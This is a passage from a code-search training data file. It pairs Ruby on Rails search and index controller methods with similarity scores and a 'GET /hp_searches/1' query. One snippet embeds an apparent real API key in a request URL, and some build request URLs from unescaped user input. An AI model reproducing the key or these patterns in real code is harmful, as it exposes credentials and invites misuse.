search\n # bail out if doing an unauthenticated API request\n failures = []\n respond_to do |format|\n format.html do\n @test_instances, failures = \n TestInstance.query(params[:query_text]) if params[:query_text]\n if @test_instances\n @test_instances = @test_instances.page(params[:page])\n end\n unless failures.empty?\n flash.now[:warning] = 'Invalid search parameters: ' + \n failures.join(', ') + '.'\n end\n @show_instructions = @test_instances.nil?\n end\n format.json do\n if authenticated?\n @test_instances, failures = \n TestInstance.query(params[:query_text]) if params[:query_text]\n if @test_instances\n render json: {\"results\" => @test_instances,\n \"failures\" => failures}.to_json\n else\n render json: {\"results\" => [], \"failures\" => failures}.to_json\n end\n else\n fail_authenticate_json\n end\n end\n end\n end", "def search\n query = params[:q]\n works = ActiveFedora::SolrService.query(query, fq: @fq, fl: @fl, df: @df, rows: @max_rows) \n format_solr_keys(works)\n render(json: works)\n end", "def client_search\n @conventions = Convention.where(\"lower(name) LIKE lower(?)\" , \"%\" + params[:query] + \"%\")\n\n if @conventions.empty?\n render json: {}\n else\n results = {}\n results[:conventions] = @conventions.as_json\n render json: results\n end\n end", "def search\n @listings = Listing.search do\n keywords params[:query]\n end.results\n\n respond_to do |format|\n format.html { render :action => \"show\" }\n format.xml { render :xml => @listings }\n end\n end", "def search_all_terms\n render json: Article.with_all_terms(params[:query]).map(&:title)\n end", "def index\n @shops = Shop.all\n @search = Shop.search(params[:q])\n @shops = @search.result.page(params[:page]).per(30)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shops }\n end\n\n end", "def search\n @google = Rails.application.secrets.google_api_key\n puts query[\"query\"]\n @response = HTTParty.get(\"https://www.googleapis.com/books/v1/volumes?q=#{query[\"query\"]}&key=#{@google}\")\n render json: {data: @response}\n end", "def search(params = {})\n @api.get(\"api.json\", params)\n end", "def suggest\n @result = Artist.search( params[:term] )\n \n respond_to do |format|\n format.html\n format.json { render :json => @result }\n end\n end", "def search(q)\n url = Boundary.api_url(@auth)+'/search'\n results = Array.new\n results = Boundary.get(url+\"?q=#{q}\")\n return nil if results.empty? \n case results['header']['hits'].to_i\n when 0\n return nil\n else\n return results['entities']\n end\n end", "def search_ranked\n render json: Article.with_ranked_terms(params[:query]).map(&:title)\n end", "def search(options={})\n response = connection.get do |req|\n req.url SEARCH_PATH, options\n end\n\n JSON.parse(response.body)['searchResult']['searchListings']['searchListing']\n end", "def index\n @q = params[:q]\n @q ||= \"\"\n @shops = Shop.search(@q).records\n\n\n respond_to do |format|\n format.html { render action: 'index' }\n format.json { render json: @shops, each_serializer: ShopListSerializer }\n end\n end", "def search_result\n @search = params[:search]\n query = params[:search] #Query variable is the string a user enters in the search bar.\n url = Addressable::URI.parse('https://api.themoviedb.org/3/search/tv?api_key=fb6a1d3f38c3d97f67df6d141f936f29&language=en-US')\n url.query_values = url.query_values.merge(query: query)\n response = HTTParty.get(url)\n @results = JSON.parse(response.body, symbolize_names: true) \n end", "def index\n @search = Keyword.search(params[:search])\n @keywords = @search.paginate(:page => params[:page], :per_page => GlobalSettings.per_page).order('id DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @keywords }\n end\n end", "def index\n @players = Player.search(params[:team_id], params[:player_forename], params[:player_surename])\n\n respond_to do |format|\n format.html # index.html.erb\n hash = {:players => @players}\n format.json { render :json => hash }\n end\n end", "def index\n __log_activity(anonymous: true)\n __debug_route\n err = nil\n prm = paginator.initial_parameters\n playback = prm.delete(:search_call)\n s_params = (playback || prm).except(*Paginator::NON_SEARCH_KEYS)\n q_params = s_params.extract!(*search_query_keys).compact_blank!\n if q_params.blank?\n if s_params.present?\n redirect_to prm.merge!(q: SearchTerm::NULL_SEARCH)\n else\n render 'search/advanced'\n end\n return\n end\n prm = prm.slice(*Paginator::NON_SEARCH_KEYS).merge!(s_params, q_params)\n titles = title_results?\n @list = index_search(titles: titles, save: !playback, **prm)\n err = @list.exec_report if @list.error?\n # noinspection RubyMismatchedArgumentType\n paginator.finalize(@list, as: (titles ? :titles : :records), **prm)\n respond_to do |format|\n format.html\n format.json { render_json index_values }\n format.xml { render_xml index_values(item: :record) }\n end\n rescue => error\n err = error\n ensure\n failure_status(err)\n end", "def search\n @c14s = C14.search(params[:q])\n\n respond_to do |format|\n format.html { \n @pagy, @c14s = pagy(@c14s)\n render :index\n }\n format.json {\n render :index\n }\n end\n end", "def index\n @spots = Spot.search(params[:search]).order(sort_column + \" \" + sort_direction).paginate(:per_page => 10, :page =>params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @spots }\n end\n end", "def index\n @title = t('view.providers.index_title')\n @searchable = true\n @providers = Provider.filtered_list(params[:q]).order(:name).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @providers }\n end\n end", "def search\n @tweets = TwitterClient.search(params[:query], result_type: 'recent').take(20)\n render json: @tweets\n end", "def search\n\n # extract the terms from params\n terms = params[:search_terms]\n\n # redirect to root in case of missing terms\n redirect_to root_path && return if terms.blank?\n\n # extract the terms to an array\n # delete('-') because phones are saved without '-' (numbers only)\n terms_array = params[:search_terms].delete('-').split(' ')\n\n # extract the params using private methods\n age = age_param(terms_array)\n phone = phone_param(terms_array)\n names_array = name_param_array(terms)\n\n # find the people available for the search terms\n @peoples = People.search_by_terms(names_array, phone, age)\n\n # renders 'search.js'\n end", "def recipe_search_results_for(search, number=100)\n Faraday.get \"#{RECIPE_SEARCH_URL}#{search}&number=#{number}&apiKey=#{spoonacular_key}\"\n end", "def search\n @analytics = Analytic.where(params.permit([:ip, :user_agent])).order(@order).paginate(@page)\n\n respond_to do |format|\n format.html # search.html.erb\n format.json { render json: @analytics, callback: params[:callback] }\n format.xml { render xml: @analytics }\n end\n end", "def index\n @user = current_user\n @search = @user.loops.search(params[:q]) \n @loops = @search.result \n \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @loops }\n end\n end", "def index\n @query = params[:query] || {\n search: '',\n }\n @theorems = Theorem.all.where(root: true).limit(50)\n @theorems = @theorems.order('views desc')\n @theorems = @theorems.where('text ILIKE ?', \"%#{@query[:search]}%\") if @query[:search] && @query[:search].length > 0\n respond_to do |f|\n f.html { render 'index' }\n f.json { render json: @theorems }\n end\n end", "def search_any_term\n render json: Article.with_any_terms(params[:query]).map(&:title)\n end", "def make_search(url)\n #make the web request\n data = RestClient.get url\n JSON.parse(data)\nend", "def index\n with = {}\n sort_mode = params[:sorting].blank? ? \"@relevance DESC\" : \"#{params[:sorting]} DESC\"\n search_string = params[:search].blank? ? \"\" : params[:search]\n with[:tags] = params[:tags] if params[:tags]\n @knowledges = Knowledge.search search_string, :with => with, :page => params[:page], :per_page => 42, :order => sort_mode\n @facets = Knowledge.facets search_string, :with => with\n @tags = @facets[:tags].map{|t| t[0] unless t[0] == 0 }.compact.uniq\n @selected_tags = params[:tags] || []\n @count = @knowledges.count\n @sort_mode = case params[:sorting]\n when \"@relevance\" then \"pertinence\"\n when \"created_at\" then \"date de création\"\n when \"cached_votes_score\" then \"score\"\n else \"\"\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @knowledges }\n end\n end", "def search\n @adverts = []\n query = (params[:search])\n query.split(' ').each do |keyword|\n @adverts += Advert.where(\"title ILIKE :search\", { search: \"%#{keyword}%\" })\n end\n render json: @adverts\n end", "def search\n unless params[:query].blank?\n @listings = custom_search(params[:query])\n #print \"\\n\\n\\n***203 #{@listings}***\\n\\n\\n\"\n @header_type = \"Search for \\\"\" + params[:query] + \"\\\"\"\n \n #will render search.rhtml by default\n else\n browse\n end\n end", "def index\n\n #this for auto-complete search for places\n @places = (params[:q].blank?)? Place.all : Place.where(\"name ilike ?\", \"%#{params[:q]}%\")\n\n respond_to do |format|\n #format.html #index.html.erb\n format.json { render json: @places }\n format.xml { render :xml => @places }\n end\n end", "def suggest\n tags = Tag.where('tags.name LIKE ?', \"#{params[:q]}%\").limit(10).order(:name)\n\n render json: {\n results: tags.map { |tag|\n {\n id: tag.name,\n text: \"#{tag.name} (#{tag.count})\"\n }\n },\n }\n end", "def get_elk_data(query)\n index = \"logstash-\" + Time.now.strftime(\"%Y.%m.%d\")\n url = \"/#{index}/#{@type}/_search\"\n\n req = Net::HTTP::Post.new( url, initheader = {'Content-Type' =>'application/json'} )\n req.body = query\n\n response = Net::HTTP.new(@host, @port).start {|http| http.request(req) }\n hits = JSON.parse(response.body)['hits']\n\n if hits.nil?\n puts response.body\n end\n\n return hits\n end", "def index\n @saved_searches = current_user.saved_searchs\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @saved_searches }\n end\n end", "def index\n @q = Servicetype.search(params[:q])\n @servicetypes = @q.result(:distinct => true).page(params[:page]).per(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json do\n @servicetype = Servicetype.where(\"name LIKE ?\", \"%#{params[:term]}%\")\n render :json => @servicetype.map { |servicetype| servicetype.name }\n end\n end \n end", "def index\n @search = Species.includes(:animals).organization(current_user).search(params[:q])\n @species = @search.result.paginate(page: params[:page], per_page: 10).order('updated_at DESC')\n\n respond_with(@species)\n end", "def index\n conditions = []\n params[:per_page] = perpage if params[:per_page].nil?\n params[:page] = 1 if params[:page].blank?\n unless params[:search].blank?\n conditions.push \"name like ? or description like ?\"\n conditions.push \"%#{params[:search]}%\"\n conditions.push \"%#{params[:search]}%\"\n end\n @kf_pipes = Kf::Pipe.order(\"order_level DESC\").paginate(:page => params[:page], :per_page => params[:per_page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @kf_pipes }\n end\n end", "def index\n if params[:keyword]\n @spots = Spot.find(:all, :conditions => [\"name like ?\", \"%#{params[:keyword]}%\"])\n else\n @spots = Spot.find(:all)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @spots }\n format.json { render :json => @spots.to_json(:only => [:name, :latitude, :longitude, :visits_count])}\n end\n end" ]
[ "0.7296706", "0.70765066", "0.69592625", "0.6931639", "0.69005084", "0.6898424", "0.68895966", "0.6795751", "0.6735968", "0.6694264", "0.6690708", "0.66719383", "0.6662774", "0.6654845", "0.66119957", "0.6576677", "0.6557585", "0.6506874", "0.64949286", "0.6491554", "0.64804405", "0.64739096", "0.64606017", "0.6460559", "0.6456242", "0.64435273", "0.64425033", "0.64373285", "0.64227927", "0.6416577", "0.64149046", "0.64041567", "0.6403299", "0.6403299", "0.6403299", "0.6403299", "0.6403299", "0.63930064", "0.639167", "0.63887095", "0.637335", "0.6369524", "0.6367804", "0.6362531", "0.6348833", "0.6347458", "0.634607", "0.6340682", "0.6332262", "0.6327077", "0.63248837", "0.63181025", "0.63142174", "0.63046193", "0.62973875", "0.6290054", "0.6280351", "0.62798834", "0.6275358", "0.62713015", "0.62663054", "0.62593836", "0.6248485", "0.6244083", "0.6239243", "0.6237166", "0.62260985", "0.62225026", "0.6221485", "0.6202495", "0.619417", "0.6190471", "0.61865133", "0.6186242", "0.61763865", "0.6175091", "0.61718893", "0.61710536", "0.6159678", "0.61585385", "0.6157142", "0.61558145", "0.61497414", "0.61491", "0.6148841", "0.6147461", "0.6140842", "0.6136308", "0.61316067", "0.61250913", "0.6121135", "0.61155456", "0.61098987", "0.61061466", "0.6104981", "0.6095407", "0.6092768", "0.60925865", "0.6088544", "0.6078638" ]
0.7465054
0
GET /hp_searches/1 GET /hp_searches/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @searches = @website.searches.all\n\n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @searches }\n end\n end", "def index\n @hp_searches = HpSearch.all\n end", "def search\n spotyfy_client = SpotyfyClient.new(params[:search])\n spotyfy_client.perform\n items = SpotyfyService.parse_hash(spotyfy_client.body)\n render :json => items.to_json\n end", "def index\n @searches = Search.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @searches }\n end\n end", "def index\n @searches = @user.searches\n respond_to do |format|\n format.html { }\n format.json { @presenter = json_presenter(@searches) }\n end\n end", "def search\n @selected = Herb.find_by_id(params[:search])\n if @selected\n redirect_to @selected and return\n else\n \n @search = Herb.search do\n fulltext params[:search]\n\n end\n @herbs = @search.results\n @first = @herbs.pop\n @second = @herbs.pop\n @third = @herbs.pop\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @herbs }\n end\n end", "def search\n @q = params[:q]\n @results = Series.external_search(@q)\n\n respond_to do |format|\n format.html # search.html.haml\n format.json { render json: @results.to_json }\n end\n end", "def\tsearch\n\t\tresult = query_google_places\n\t\trender :json => result\n\tend", "def search\n @hits = []\n\n if params[:query]\n search = DesignMethod.solr_search do\n fulltext params[:query] do\n highlight\n minimum_match 0\n end\n end\n store_location\n @hits = search.hits\n @results = search.results\n end\n\n respond_to do |format|\n format.html\n format.json { render json: @results }\n end\n end", "def search(search_url)\n params = { :restrictSearchableAttributes => 'url', :query => search_url, :typoTolerance => false }\n hn_search_url = URI('http://hn.algolia.com/api/v1/search')\n hn_search_url.query = URI.encode_www_form(params)\n response = Net::HTTP.get_response(hn_search_url)\n\n if response.is_a?(Net::HTTPSuccess)\n results = JSON.parse(response.body)\n hits = results['hits']\n\n if hits.length() > 0\n print_hits(hits)\n else\n puts 'could not find a match, you are probably good!'\n end\n else\n # Could not make the request, print out the error.\n response.value()\n end\nend", "def results\n raw_input = params[:search].to_s\n formatted_input = raw_input.gsub(\" \", \"+\")\n\n @client = HTTParty.get(\"http://api.shopstyle.com/api/v2/products?pid=uid5001-30368749-95&fts='#{formatted_input}'&offset=0&limit=20\")\n\n render json: @client\n end", "def Search query\n \n APICall(path: \"search.json?query=#{query}\",method: 'GET')\n \n end", "def search\n send_request\n parse_response\n end", "def index\n @reloud_checks = ReloudCheck.search(params[:search])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reloud_checks }\n end\n end", "def search\n games_data = BoardGameAtlas::API.search(params[:name])\n render json: { games: games_data.map }\n end", "def search\n url = @@url\n url.query = Addressable::URI.form_encode(\n 'v' => '1.0',\n 'q' => (@args[:site]) ? @query + \" site:#{ @args[:site] }\" : @query ,\n 'key' => @google_api_key,\n 'userip' => @ip_number\n )\n results = JSON.parse(open(url, 'Referer' => @referrer_site).read) rescue {}\n \n @response_details = results['responseDetails'] # => nil,\n @response_status = results['responseStatus' ] # => 200\n \n @cursor = Cursor.new(results['responseData']['cursor'])\n \n results['responseData']['results']\n end", "def index\n\n @search = House.search()\n @houses = House.order(\"country\").order(\"name\").page params[:page]\n\n if params[:q]\n @search = House.search(params[:q])\n @houses = @search.result.order(\"country\").order(\"name\")\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @houses }\n end\n end", "def search\n terms = @authority.search(url_search)\n render json: terms\n end", "def search\n \n search = params[:search]\n miniresume = params[:miniresume]\n location = params[:location]\n\n #thinking_sphinx conditions - \n @adviceposts = Advicepost.search(search,miniresume,location,page: 1, per_page: 25)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @adviceposts }\n end\n end", "def search\n response = make_request\n begin\n response_hash = JSON.parse(response.body)\n rescue JSON::ParserError\n raise RequestException\n else\n response_hash\n end\n end", "def index\n @suggestions = Suggestion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @suggestions }\n end\n end", "def index\n @search_name = params[:search_name]\n\n if @search_name\n conditions = @search_name.split(' ').map { |n| \"name ilike '%#{n}%'\" }.join(\" OR \")\n responses = Admin::Response.where(conditions)\n else\n responses = Admin::Response\n end\n @responses = responses.order('created_at desc').paginate(:page => params[:page], :per_page => 20)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @responses }\n end\n end", "def index\n @garnishes = Garnish.where(\"LOWER(name) like ?\", \"%#{params[:q] ? params[:q].downcase : ''}%\").paginate(:page => params[:page], :per_page => 198).order(:name)\n respond_to do |format|\n format.html\n format.json {render :json => @garnishes.map(&:attributes)}\n end\n end", "def search\n render json: PersonScantronAppointment.first(10)\n end", "def autocomplete_game_search \t\t\t\t \n #@games = Game.name_like(params[\"q\"])[0..10]\n #platform_result = Game.platform_like(params[\"q\"])[0..10] \n @games = Game.search({\"name_cont\" => params[\"q\"]}).result[0..10]\n platform_games = Game.search({\"platform_cont\" => params[\"q\"]}).result[0..10]\n @games = @games | platform_games\n render :json => @games.collect {|game| [game[\"name\"] + \" [\"+game[\"platform\"]+\"]\", game[\"platform\"]]}\n end", "def index\n @jobsearches = Jobsearch.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobsearches }\n end\n end", "def index\n @saved_searches = SavedSearch.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @saved_searches }\n end\n end", "def suggest\n @result = Artist.search( params[:term] )\n \n respond_to do |format|\n format.html\n format.json { render :json => @result }\n end\n end", "def create\n @simple_search = SimpleSearch.new(simple_search_params)\n get_response(params)\n respond_to do |format|\n format.html { render :index}\n format.json { render :index, status: 200 }\n end\n end", "def index\n respond_with Official.search(official_search_params)\n end", "def make_search(url)\n #make the web request\n data = RestClient.get url\n JSON.parse(data)\nend", "def index\n # Generate sunspot search\n @records = record_default_search\n\n respond_with(@records)\n end", "def search\n if params[:term]\n @shops = Shop.where(\"title like '%\"+params[:term]+\"%'\")\n else\n @shops = Shop.all\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shops }\n end\n\n end", "def index\n # @search = Shelter.search do\n # fulltext params[:search]\n # end\n # @shelters = @search.results\n @shelters = Shelter.all\nend", "def getResultsFromSearch(query, type, guts, ppOverride)\n request('getResultsFromSearch', {'query' => query, 'type' => type, 'guts' => guts, 'ppOverride' => ppOverride})\nend", "def search\n expose Challenge.search(@oauth_token, params[:keyword])\n end", "def search\n @google = Rails.application.secrets.google_api_key\n puts query[\"query\"]\n @response = HTTParty.get(\"https://www.googleapis.com/books/v1/volumes?q=#{query[\"query\"]}&key=#{@google}\")\n render json: {data: @response}\n end", "def search\n render json: Consultation.first(10)\n end", "def index\n # @entries = Entry.all\n @search.sorts = ['term desc', 'created_at desc'] if @search.sorts.empty?\n @search_term = params[:q]\n @entries = @search\n .result(distinct: true)\n .includes(:definitions)\n .page(params[:page])\n .per(params[:per_page])\n\n\n 1\n end", "def search\n render json: PersonEvent.first(10)\n end", "def search_ranked\n render json: Article.with_ranked_terms(params[:query]).map(&:title)\n end", "def client_search\n @conventions = Convention.where(\"lower(name) LIKE lower(?)\" , \"%\" + params[:query] + \"%\")\n\n if @conventions.empty?\n render json: {}\n else\n results = {}\n results[:conventions] = @conventions.as_json\n render json: results\n end\n end", "def search\n search_param = params[:term]\n matching_keys = UserKey.submitted.search(search_param).collect { |u| { value: \"#{u.name}\", data: u.id } }\n render json: { suggestions: matching_keys }\n end", "def index\n @user = current_user\n @search = @user.loops.search(params[:q]) \n @loops = @search.result \n \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @loops }\n end\n end", "def tracks_search params = { :query => 'love', :page => 1 }\n json = send_request 'tracks_search', params\n if json['success'] == true\n json['tracks']\n else\n puts \"Error: \" + json['message']\n exit\n end\n end", "def search_result\n @search = params[:search]\n query = params[:search] #Query variable is the string a user enters in the search bar.\n url = Addressable::URI.parse('https://api.themoviedb.org/3/search/tv?api_key=fb6a1d3f38c3d97f67df6d141f936f29&language=en-US')\n url.query_values = url.query_values.merge(query: query)\n response = HTTParty.get(url)\n @results = JSON.parse(response.body, symbolize_names: true) \n end", "def index\n logger.ap params\n if params.has_key? 'search_term' and params[:search_term] and !params[:search_term].blank?\n @reviews = Review.basic_search(params[:search_term]).page(params[:page]).per(params[:per_page])\n else\n @reviews = Review.page(params[:page]).per(params[:per_page])\n end\n logger.ap @reviews.length\n render json: @reviews\n end", "def index\n page = params[:page] || 1\n page = page.to_i\n per_page = params[:per_page] || 25\n per_page = per_page.to_i\n @results = {}\n\n search = params[:searchterm]\n if search && search.empty?\n search = nil\n end\n\n if search\n page = 1\n per_page = 50\n @stats = SearchEngine.search(Stat, search)\n total = @stats.count\n @stats = Kaminari.paginate_array(@stats).page(page).per(per_page)\n \n @searchterm = search\n else\n @stats = Stat.desc(:id).page(page).per(per_page)\n total = Stat.count\n end\n \n @results[:first] = (page-1) * per_page + 1\n @results[:last ] = [total, page * per_page].min\n @results[:total] = total\n end", "def overview\n authorize! :show, @pool\n (@response, @document_list) = get_search_results(rows:0)\n respond_to do |format|\n format.json { render :json=>{id:@pool.id, models:@pool.models.as_json, perspectives:@pool.exhibits.as_json, facets:@response[\"facet_counts\"][\"facet_fields\"], numFound:@response[\"response\"][\"numFound\"] } } \n end\n end", "def index\n employee = current_user.employee\n algorithm = SearchAlgorithm.new(employee, Post.all)\n ordered_posts = algorithm.search\n top_results = ordered_posts[0..19]\n render json: top_results.to_json\n end", "def index\n @players = Player.search(params[:team_id], params[:player_forename], params[:player_surename])\n\n respond_to do |format|\n format.html # index.html.erb\n hash = {:players => @players}\n format.json { render :json => hash }\n end\n end", "def searchByExperience\n\t\turl = request.original_url\n\t\t\n\t\tbegin\n\n\t\t\tprms = CGI.parse(URI.parse(url).query)\n\n\n\t\t\tresults = Doctor.where(\"experience LIKE ?\", \"%#{prms['experience'][0]}%\")\n\t\t\trender json: results\n\t\trescue Exception => e\n\t\t\trender json: { errors: \"Some errors\" }, status: 422\n\t\tend\n\tend", "def index\n @searches = Sunspot.search(Drug, Review, Condition) do\n fulltext params[:search]\n end\n @results=@searches.results\n @drugresults=Array.new\n @conditionresults=Array.new\n @reviewresults=Array.new\n @results.each do |result|\n if result.instance_of?Drug\n @drugresults.push(result)\n elsif result.instance_of?Condition\n @conditionresults.push(result)\n else\n @reviewresults.push(result)\n end\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @searches }\n end\n end", "def recipe_search_results_for(search, number=100)\n Faraday.get \"#{RECIPE_SEARCH_URL}#{search}&number=#{number}&apiKey=#{spoonacular_key}\"\n end", "def search(query, opts = {})\r\n page = opts[:page] || 1\r\n uri = url_for('search', opts)\r\n response = RestClient.get(uri, params: { q: query, page: page })\r\n JSON.parse response\r\n end", "def index\n @hits = Hit.order(\"created_at DESC\").all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @hits }\n end\n end", "def search(options={})\n params = []\n options.each do |key, value|\n params << \"#{key}=#{value}\"\n end\n ethon = ethon_easy_json_requester\n ethon.url = uri_escape(\"#{base_api_url}search/query?#{params.join('&')}\")\n ethon.perform\n check_and_raise_failure(ethon)\n server_responded_at = Time.now\n {\n requested_url: ethon.url,\n server_responded_at: server_responded_at,\n results: parse_search_response(ethon.response_body)\n }\n end", "def index\n @query = params[:query] || {\n search: '',\n }\n @theorems = Theorem.all.where(root: true).limit(50)\n @theorems = @theorems.order('views desc')\n @theorems = @theorems.where('text ILIKE ?', \"%#{@query[:search]}%\") if @query[:search] && @query[:search].length > 0\n respond_to do |f|\n f.html { render 'index' }\n f.json { render json: @theorems }\n end\n end", "def search\n @links = Link.search do\n keywords params[:query]\n end.results\n\n respond_to do |format|\n format.html { render :action => \"index\" }\n format.json { render :json => @links }\n end\n end", "def index\n\n @searches = Search.all\n end", "def show\n render pretty_json: Search.of(params[:id])\n end", "def index\n @q = params[:q]\n @q ||= \"\"\n @shops = Shop.search(@q).records\n\n\n respond_to do |format|\n format.html { render action: 'index' }\n format.json { render json: @shops, each_serializer: ShopListSerializer }\n end\n end", "def search\n @tweets = TwitterClient.search(params[:query], result_type: 'recent').take(20)\n render json: @tweets\n end", "def index\n @searches = Search.all\n end", "def index\n @searches = Search.all\n end", "def index\n @searches = Search.all\n end", "def index\n @searches = Search.all\n end", "def index\n @searches = Search.all\n end", "def json_index\n\t\tquery = begin\n\t\t\tparams.permit(:query).fetch(:query)\n\t\trescue\n\t\t\t''\n\t\tend\n\t\tusers = User.where('LOWER(nickname) LIKE LOWER(:query)', query: \"%#{query}%\")\n\t\trender json: users.map(&:name)\n\tend", "def index\n from_param = (params[:p].to_i * 10)\n @recipes = RecipeApi.search(params[:query], from_param )\n end", "def search\n query = params[:q]\n works = ActiveFedora::SolrService.query(query, fq: @fq, fl: @fl, df: @df, rows: @max_rows) \n format_solr_keys(works)\n render(json: works)\n end", "def search_techcrunch\n response_string = RestClient.get\"https://newsapi.org/v2/top-headlines?sources=techcrunch&apiKey=45aee5b7c7584064ac1b1de6297f5137\"\n response_hash = JSON.parse(response_string.body)\n end", "def index\n @shops = Shop.all\n @search = Shop.search(params[:q])\n @shops = @search.result.page(params[:page]).per(30)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shops }\n end\n\n end", "def advsearch\n expose Challenge.advsearch(@oauth_token, params)\n end", "def index\n @search = Sunspot.search Generator do\n fulltext params[:query_generator]\n end\n @generators = @search.results\n respond_to do |format|\n format.html\n format.json {render :json => @generators.map(&:attributes) }\n end\nend", "def create\n @hp_search = HpSearch.new(hp_search_params)\n\n respond_to do |format|\n if @hp_search.save\n format.html { redirect_to @hp_search, notice: 'Hp search was successfully created.' }\n format.json { render :show, status: :created, location: @hp_search }\n else\n format.html { render :new }\n format.json { render json: @hp_search.errors, status: :unprocessable_entity }\n end\n end\n end", "def searchByName\n\t\turl = request.original_url\n\t\t\n\t\tbegin\n\n\t\t\tprms = CGI.parse(URI.parse(url).query)\n\n\t\t\tresults = Doctor.where(\"first_name LIKE ?\", \"%#{prms['name'][0]}%\")\n\n\t\t\trender json: results\n\t\trescue Exception => e\n\t\t\trender json: { errors: \"Some errors\" }, status: 422\n\t\tend\n\tend", "def search\n @keywd = params[:keywd]\n @genre = params[:genre]\n if params[:page].present?\n @page = params[:page]\n else\n @page = 1\n end\n searcher = BookSearcher.new\n @result = searcher.search(@keywd, @page, @genre)\n @books = searcher.get_books\n @message = searcher.get_message\n\n respond_to do |format|\n format.html { render 'search/index' }\n format.json { render json: @books, status: :ok }\n end\n end", "def index\n @search = Keyword.search(params[:search])\n @keywords = @search.paginate(:page => params[:page], :per_page => GlobalSettings.per_page).order('id DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @keywords }\n end\n end", "def index\n @gosoks = params[:q] ? Gosok.search_for(params[:q]) : Gosok.all\n end", "def search\n book = Book.new(params)\n render json: book.search\n end", "def search_any_term\n render json: Article.with_any_terms(params[:query]).map(&:title)\n end", "def index\n @searcheds = Searched.all\n end", "def search_results\n @term = sname = request.query_parameters[\"search\"].to_s.downcase\n data = search_term(sname)\n @top = []\n @rest = []\n data[:results].each do |type|\n type[:matches].each do |hit|\n if hit[:score] >= 1.0\n @top << hit\n else\n @rest << hit\n end\n end\n end\n @top.sort! { |a, b| b[:score] <=> a[:score] }\n @rest.sort! { |a, b| b[:score] <=> a[:score] }\n render \"site/results\"\n end", "def api\n url = \"https://wagon-dictionary.herokuapp.com/#{@answer}\"\n response = URI.open(url).read\n json = JSON.parse(response)\n return json['found']\n end", "def index\n @spots = Spot.search(params[:search]).order(sort_column + \" \" + sort_direction).paginate(:per_page => 10, :page =>params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @spots }\n end\n end", "def index\n if params[:keyword]\n @spots = Spot.find(:all, :conditions => [\"name like ?\", \"%#{params[:keyword]}%\"])\n else\n @spots = Spot.find(:all)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @spots }\n format.json { render :json => @spots.to_json(:only => [:name, :latitude, :longitude, :visits_count])}\n end\n end", "def search\n render json: User.first(10)\n end", "def search\n @query = params[:q]\n @editions = Book.search(@query)\n respond_to do |format|\n format.html # show.html.haml\n format.xml { render :xml => @editions }\n end\n end", "def index\n @q = Servicetype.search(params[:q])\n @servicetypes = @q.result(:distinct => true).page(params[:page]).per(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json do\n @servicetype = Servicetype.where(\"name LIKE ?\", \"%#{params[:term]}%\")\n render :json => @servicetype.map { |servicetype| servicetype.name }\n end\n end \n end", "def index\n @researches = Research.paginate(:page => params[:page], :per_page => 10)\n\t\t@research = Research.new\n\t\t@notifications = Notification.find(:all, :order => :next_notification).first(9)\n\t\t@topics= Topic.find(:all, :order => :progress, :conditions => [\"version = ?\",'latest'], :limit => '8')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @researches }\n end\n end", "def index\n\n #this for auto-complete search for places\n @places = (params[:q].blank?)? Place.all : Place.where(\"name ilike ?\", \"%#{params[:q]}%\")\n\n respond_to do |format|\n #format.html #index.html.erb\n format.json { render json: @places }\n format.xml { render :xml => @places }\n end\n end", "def index\n @types = Type.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @types.lookup(params[:q]) }\n end\n end", "def index\n\t \tif params[:title]\n\t\t render json: Post.search(params[:title])\n \t\telse\n\t \trender json: Post.all\n \tend\n\t end", "def show\n @home_search = Home::Search.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @home_search }\n end\n end", "def index\n @search = params[\"search\"]\n if @search.present?\n client = Client.new(@search)\n response = client.call\n\n new_results = StoreSearch.new(@search, response).run\n if new_results\n scope_to_use = client.find_search_key || \"random\"\n\n if scope_to_use == \"category\"\n searches = Search.with_category(@search[\"category\"])\n @searches = Search.paginate(page: params[:page], per_page: 5).where(id: searches.map(&:id))\n # TODO recover former sintax\n # @searches = Search.paginate(page: params[:page], per_page: 5)\n # .with_category(@search[\"category\"])\n elsif scope_to_use == \"text\"\n @searches = Search.paginate(page: params[:page], per_page: 5)\n .with_text(@search[\"text\"])\n elsif scope_to_use == \"random\"\n @searches = Search.paginate(page: params[:page], per_page: 5)\n .created_randomly\n else\n @searches = Search.paginate(page: params[:page], per_page: 5)\n end\n else\n @searches = Search.paginate(page: params[:page], per_page: 5)\n end\n end\n \n @searches ||= Search.paginate(page: params[:page], per_page: 5)\n @search = Search.new()\n end", "def index\n @recipes 